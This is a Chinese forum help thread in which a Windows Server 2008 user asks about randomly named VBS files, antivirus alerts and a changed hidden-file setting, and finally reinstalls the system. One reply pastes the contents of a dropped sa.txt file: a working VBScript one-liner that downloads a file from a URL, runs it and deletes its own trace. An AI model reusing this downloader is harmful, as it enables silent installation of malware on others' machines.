1   1  /  1  页   跳转

[求助] c盘下老是生成随机命名的VBS文件

c盘下老是生成随机命名的VBS文件

系统是正版的window2008,c盘老是生成随机命名的VBS文件,有的VBS文件瑞星报毒直接杀毒,还生成sa.txt文件,还把资源管理器的隐藏/显示改为显示。
瑞星全盘杀没有病毒。

用户系统信息:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727)
分享到:
gototop
 

c盘下老是生成随机命名的VBS文件

系统是正版的window2008,c盘老是生成随机命名的VBS文件,有的VBS文件瑞星报毒直接杀毒,还生成sa.txt文件,还把资源管理器的隐藏/显示改为显示。
瑞星全盘杀没有病毒。

用户系统信息:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727)
gototop
 

回复: c盘下老是生成随机命名的VBS文件

使用楼上老兄说的软件扫描了,扫描完但点保存报告时没有反应
附件是c盘生成的VBS文件,瑞星报毒的都被瑞星杀掉了

附件附件:

文件名:vbs.rar
下载次数:341
文件类型:application/octet-stream
文件大小:
上传时间:2010-7-22 22:21:14
描述:rar

gototop
 

回复: c盘下老是生成随机命名的VBS文件

这个是扫描后多出来的文件,是需要的文件吗

附件附件:

文件名:3rdUpdLog.TXT
下载次数:208
文件类型:text/plain
文件大小:
上传时间:2010-7-22 22:29:09
描述:txt

gototop
 

回复: c盘下老是生成随机命名的VBS文件

fn=wscript.Arguments(1):set x=CreateObject("Microsoft.XMLHTTP"):x.Open "GET",wscript.Arguments(0),0:x.Send():set m=CreateObject("ADODB.Stream"):m.Mode=3:m.Type=1:m.Open():m.Write x.ResponseBody:m.SaveToFile fn,2:set a=CreateObject("shell.application"):a.shellexecute fn:a.shellexecute "cmd.exe","/c del C:\sa.txt"


这是c盘下生成的sa.txt的内容
gototop
 

回复: c盘下老是生成随机命名的VBS文件



引用:
原帖由 荔枝饭饭 于 2010-7-22 22:38:00 发表


引用:
原帖由 十珍斋 于 2010-7-22 22:29:00 发表
这个是扫描后多出来的文件,是需要的文件吗
这个不是需要的文件,建议楼主重启一下电脑,然后用楼上所说的讲软件修改名称后使用,因为有的病毒会按软件名称开始禁用,出现无法打开或者无法保存的现象,待扫描后上传日志再看看如何解决


重启机器,也改了文件名,放在window目录下,还是不能保存!!!
gototop
 

回复:c盘下老是生成随机命名的VBS文件

实在没办法,今天用了一天的时间重新装机器了,原来用的是64位window2008rc2,现在改用32位的window2008了,这回看还会不会出同样的问题。
感谢楼上的几位
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT